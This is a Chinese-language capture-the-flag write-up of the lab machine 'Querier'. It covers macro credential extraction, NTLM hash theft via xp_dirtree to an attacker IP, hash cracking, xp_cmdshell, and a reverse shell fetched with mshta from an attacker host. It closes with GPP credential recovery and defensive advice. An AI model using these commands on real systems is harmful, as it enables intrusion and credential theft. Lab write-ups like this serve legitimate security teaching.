[Meachines] [Medium] Querier XLSM宏+MSSQL NTLM哈希窃取(xp_dirtree)+GPP凭据泄露
字数 1341 2025-08-20 18:18:10

MSSQL渗透测试实战教学:从XLSM宏到NTLM哈希窃取与GPP凭据泄露

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.125 --min-rate 1000 -sC -sV -Pn

发现开放端口:

  • 135/tcp: Microsoft Windows RPC
  • 139/tcp: NetBIOS会话服务
  • 445/tcp: Microsoft-DS (SMB)
  • 1433/tcp: Microsoft SQL Server 2017
  • 5985/tcp: WinRM (HTTP API)
  • 47001/tcp: HTTP
  • 49664-49671/tcp: RPC端口

1.2 SMB枚举

使用smbmap检查共享:

smbmap -H 10.10.10.125 -u 1

发现"Reports"共享,下载文件:

smbclient //10.10.10.125/Reports
smb: \> get "Currency Volume Report.xlsm"

2. XLSM宏分析

2.1 使用olevba分析宏

olevba Currency\ Volume\ Report.xlsm

发现关键VBA代码:

Private Sub Connect()
    Dim conn As ADODB.Connection
    Dim rs As ADODB.Recordset
    Set conn = New ADODB.Connection
    conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
    conn.ConnectionTimeout = 10
    conn.Open
    If conn.State = adStateOpen Then
        Set rs = conn.Execute("SELECT * FROM volume;")
        Sheets(1).Range("A1").CopyFromRecordset rs
        rs.Close
    End If
End Sub

提取到凭据:

  • 用户名: reporting
  • 密码: PcwTWTHRwryjc$c6

3. MSSQL渗透

3.1 初始连接尝试

使用impacket工具连接MSSQL:

impacket-mssqlclient reporting@10.10.10.125 -windows-auth

3.2 NTLM哈希窃取技术

  1. 启动Responder监听:
responder -I tun0
  1. 在MSSQL中执行xp_dirtree触发NTLM认证:
EXEC master..xp_dirtree '\\10.10.16.9\GOT', 1, 1;

获取到的NTLM哈希:

mssql-svc::QUERIER:50c6614a98bf4210:38E42F28AC9CC4D076EAE043ACF06663:010100000000000000CCDF3A940CDB01D9A0DA5084739BBA0000000002000800410042003200380001001E00570049004E002D00310050003100350059003100530043004C004C005A0004003400570049004E002D00310050003100350059003100530043004C004C005A002E0041004200320038002E004C004F00430041004C000300140041004200320038002E004C004F00430041004C000500140041004200320038002E004C004F00430041004C000700080000CCDF3A940CDB0106000400020000000800300030000000000000000000000000300000CF1051A0C66E4A690D3EFD4D473408519FDB0145FBCD96435ABD6BAB0E0D5A2E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E003900000000000000000000000000
  1. 使用hashcat破解:
hashcat -m 5600 svc /usr/share/wordlists/rockyou.txt --force

破解结果:

  • 用户名: mssql-svc
  • 密码: corporate568

3.3 获取系统权限

  1. 使用新凭据连接MSSQL:
impacket-mssqlclient mssql-svc:'corporate568'@10.10.10.125 -windows-auth
  1. 启用xp_cmdshell:
enable_xp_cmdshell
  1. 执行系统命令验证权限:
xp_cmdshell whoami
  1. 使用koadic获取反向shell:
xp_cmdshell "mshta http://10.10.16.9:9999/maW6M"
  1. 获取user flag:
42413863de7ecbfa91a1e935705940cd

4. 权限提升

4.1 使用PowerUp.ps1进行枚举

  1. 下载PowerUp.ps1:
curl -o C:\\Users\Public\Downloads\PowerUp.ps1 http://10.10.16.9/PowerUp.ps1
  1. 执行检查:
C:\\Users\Public\Downloads\PowerUp.ps1 && Invoke-AllChecks

关键发现:

  • 可修改的服务:UsoSvc
  • GPP凭据泄露路径:
    C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
    

4.2 GPP凭据泄露

从Groups.xml文件中提取的凭据:

  • 用户名: Administrator
  • 密码: MyUnclesAreMarioAndLuigi!!1!

4.3 获取管理员权限

使用psexec获取系统权限:

impacket-psexec Administrator@10.10.10.125

获取root flag:

8f359d26d9cfd60e2f5fcbcb98239102

5. 关键知识点总结

  1. XLSM宏分析

    • 使用olevba工具分析Excel宏
    • 提取硬编码的数据库凭据
  2. MSSQL渗透技术

    • 使用xp_dirtree存储过程触发NTLM认证
    • Responder工具捕获NTLM哈希
    • Hashcat破解NTLM哈希
  3. 权限提升方法

    • 启用xp_cmdshell获取系统命令执行权限
    • 使用koadic获取交互式shell
  4. GPP凭据泄露

    • 组策略首选项(GPP)中存储的凭据
    • 默认加密密钥已公开,可解密获取明文密码
  5. PowerUp.ps1使用

    • 全面的Windows权限提升检查工具
    • 可识别可修改服务、路径劫持等漏洞

6. 防御建议

  1. 宏安全

    • 禁用不必要的宏执行
    • 对必须使用的宏进行数字签名
  2. MSSQL安全

    • 禁用不必要的存储过程(xp_dirtree, xp_cmdshell等)
    • 使用最小权限原则配置数据库账户
  3. NTLM安全

    • 尽可能禁用NTLM,使用Kerberos
    • 配置SMB签名要求
  4. GPP安全

    • 删除遗留的Groups.xml文件
    • 使用LAPS管理本地管理员密码
  5. 权限管理

    • 定期审核服务账户权限
    • 实施特权账户管理解决方案
MSSQL渗透测试实战教学:从XLSM宏到NTLM哈希窃取与GPP凭据泄露 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 135/tcp: Microsoft Windows RPC 139/tcp: NetBIOS会话服务 445/tcp: Microsoft-DS (SMB) 1433/tcp: Microsoft SQL Server 2017 5985/tcp: WinRM (HTTP API) 47001/tcp: HTTP 49664-49671/tcp: RPC端口 1.2 SMB枚举 使用smbmap检查共享: 发现"Reports"共享,下载文件: 2. XLSM宏分析 2.1 使用olevba分析宏 发现关键VBA代码: 提取到凭据: 用户名: reporting 密码: PcwTWTHRwryjc$c6 3. MSSQL渗透 3.1 初始连接尝试 使用impacket工具连接MSSQL: 3.2 NTLM哈希窃取技术 启动Responder监听: 在MSSQL中执行xp_ dirtree触发NTLM认证: 获取到的NTLM哈希: 使用hashcat破解: 破解结果: 用户名: mssql-svc 密码: corporate568 3.3 获取系统权限 使用新凭据连接MSSQL: 启用xp_ cmdshell: 执行系统命令验证权限: 使用koadic获取反向shell: 获取user flag: 4. 权限提升 4.1 使用PowerUp.ps1进行枚举 下载PowerUp.ps1: 执行检查: 关键发现: 可修改的服务:UsoSvc GPP凭据泄露路径: 4.2 GPP凭据泄露 从Groups.xml文件中提取的凭据: 用户名: Administrator 密码: MyUnclesAreMarioAndLuigi!!1 ! 4.3 获取管理员权限 使用psexec获取系统权限: 获取root flag: 5. 关键知识点总结 XLSM宏分析 : 使用olevba工具分析Excel宏 提取硬编码的数据库凭据 MSSQL渗透技术 : 使用xp_ dirtree存储过程触发NTLM认证 Responder工具捕获NTLM哈希 Hashcat破解NTLM哈希 权限提升方法 : 启用xp_ cmdshell获取系统命令执行权限 使用koadic获取交互式shell GPP凭据泄露 : 组策略首选项(GPP)中存储的凭据 默认加密密钥已公开,可解密获取明文密码 PowerUp.ps1使用 : 全面的Windows权限提升检查工具 可识别可修改服务、路径劫持等漏洞 6. 防御建议 宏安全 : 禁用不必要的宏执行 对必须使用的宏进行数字签名 MSSQL安全 : 禁用不必要的存储过程(xp_ dirtree, xp_ cmdshell等) 使用最小权限原则配置数据库账户 NTLM安全 : 尽可能禁用NTLM,使用Kerberos 配置SMB签名要求 GPP安全 : 删除遗留的Groups.xml文件 使用LAPS管理本地管理员密码 权限管理 : 定期审核服务账户权限 实施特权账户管理解决方案